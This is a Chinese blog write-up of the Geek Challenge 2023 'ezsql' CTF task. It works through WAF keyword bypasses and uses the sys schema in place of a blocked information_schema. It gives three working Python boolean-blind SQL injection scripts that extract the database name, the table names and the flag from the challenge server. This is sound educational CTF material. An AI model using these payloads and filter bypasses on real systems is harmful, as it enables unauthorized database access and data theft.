Geek Challenge2023 ezsql

发布于 2023-12-17  25 次阅读


考点

id=被ban词 回显 waf!!!

id=1 可以查询(正常回显)

id=999 回显 别翻啦!这么多心灵鸡汤都du不了你吗 说明查不到

id=1' 回显 你搁这儿干嘛啊??? 说明是错误回显

  • 继续尝试

id=1'--+ 回显 你搁这儿干嘛啊???

id=1--+ 可以查询(正常回显)

判断出是字符型注入,且闭合类型不是 ' 单引号闭合

常见的闭合尝试

id=1'#
id=1')#
id=1"#
id=1")#

测试出来后面三个都可以正常回显

说明后端执行语句为

select * from table where id=('1')

id=1')#变成如下

select * from table where id=('id=1')#')
  • 接下来判断被ban的关键词(第二排是对应的绕过)
or          空格   =     database   information_schema

group by    /**/  like    schema    寻找可替代的

fuzz跑一下看看

分析

  • 既然information_schema被ban了,那么无法使用其下的information_tables表名集合表和information_columns列名集合表

  • database被ban,可以使用schema()

  • binary让大小写敏感

import requests

payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#' #tag1:%必不可少,用于模糊匹配,表示匹配任意字符(包括零个字符或多个字符)
#payload = '1\') and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \'{}%\')#'
url = "http://47.108.56.168:8003//index.php"

#dict是爆破的字典,去掉了%_                 #tag2:通配符解释
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-=+[{]};:'",<.>/? `~!@#$^&*()\x00"        
print(len(dict))
result = ''

while True: #目的是每次清空data的内容
    data = ''
    for i in range(len(dict)):  
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}
        print('[*] '+payload.format(result + dict[int(i)]).replace(' ', '/**/'))
        response = requests.post(url=url, data=data)
        if 'Persistence' in response.text:
            result += dict[int(i)]
            print('[√]'+result)
            break
            
        if dict[int(i)] == '\x00':  #%00作为结束符号
            print('盲注结束,结果是:'+result)
            break
    if dict[int(i)] == '\x00':  #%00作为结束符号
            break

得到当前数据库名articles,但是flag并不在这个数据库下

既然如此,那么就应该更改寻找可替代的数据库代替information_schema

在我们进行sql注入的时候,有时候information_schema这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

1. InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
2. sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

这样说来,数据库中初始的,存储数据库名字的表不止一个

sys库下的表但凡是schema_打头的基本上都存了所有数据库名字

根据本地测试之后的总结,采用sys.schema_table_statistics的表单

因此根据payload编写脚本

payload:1') and (select (select table_schema from sys.schema_table_statistics_with_buffer limit 0,1) = 'a%')#

其中%是通配符拿来进行模糊匹配,使脚本能够继续运行

import requests  
  
#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'  
payload = '1\') and (select (select table_schema from sys.schema_table_statistics_with_buffer limit 0,1) like binary \'{}%\')#'  
#或者也可以payload = '1\') and (select (select table_schema from sys.schema_table_statistics limit 0,1) like binary \'{}%\')#'  #这两个payload都可以爆出存放flag的数据库  
  
url = "http://47.108.56.168:8003"  
  
#dict是爆破的字典,去掉了%_,要不然会出现点小问题  
dict = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()\x00"  
  
result = ''  
while True:  
    data = ''  
    for i in range(len(dict)):  
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}  
        response = requests.post(url=url, data=data)  
        print( payload.format(result + dict[int(i)]).replace(' ', '/**/'))  
  
        if 'Persistence' in response.text:  
            result += dict[int(i)]  
            print(result)  
            break  
  
        if dict[int(i)] == '\x00':  #%00作为结束符号  
            print('盲注结束,结果是:'+result)  
            exit(0)

运行脚本得到结果库名为ctf

接下来继续爆破表名

稍微修改一下脚本的payload

payload:1') and (select (select table_name from sys.schema_table_statistics_with_buffer limit 0,1) = 'a%')#

最终payload

payload = 1') and (select (select * from ctf.flll444aaggg9 limit 1,1) like binary 'a%')#
import requests  
#payload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'  
payload = '1\') and (select (select * from ctf.flll444aaggg9 limit 1,1) like binary \'{}%\')#'  
  
url = "http://47.108.56.168:8003"  
  
  
#dict是爆破的字典,去掉了%_,要不然会出现点小问题  
dict = 'SabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRTUVWXYZ123456789-=+[{]};:'",<.>/? `~!@#$^&*()_\x00"  
  
  
result = ''  
while True:  
    data = ''  
    for i in range(len(dict)):  
        data = {'id': payload.format(result + dict[int(i)]).replace(' ', '/**/')}  
        response = requests.post(url=url, data=data)  
        print( payload.format(result + dict[int(i)]).replace(' ', '/**/'))  
  
        if 'Persistence' in response.text:  
            result += dict[int(i)]  
            print(result)  
            break  
  
        if dict[int(i)] == '\x00':  #%00作为结束符号  
            print('盲注结束,结果是:'+result)  
            exit(0)

由于是赛后复现,所以flag如下


大一在读菜鸡ctfer的成长记录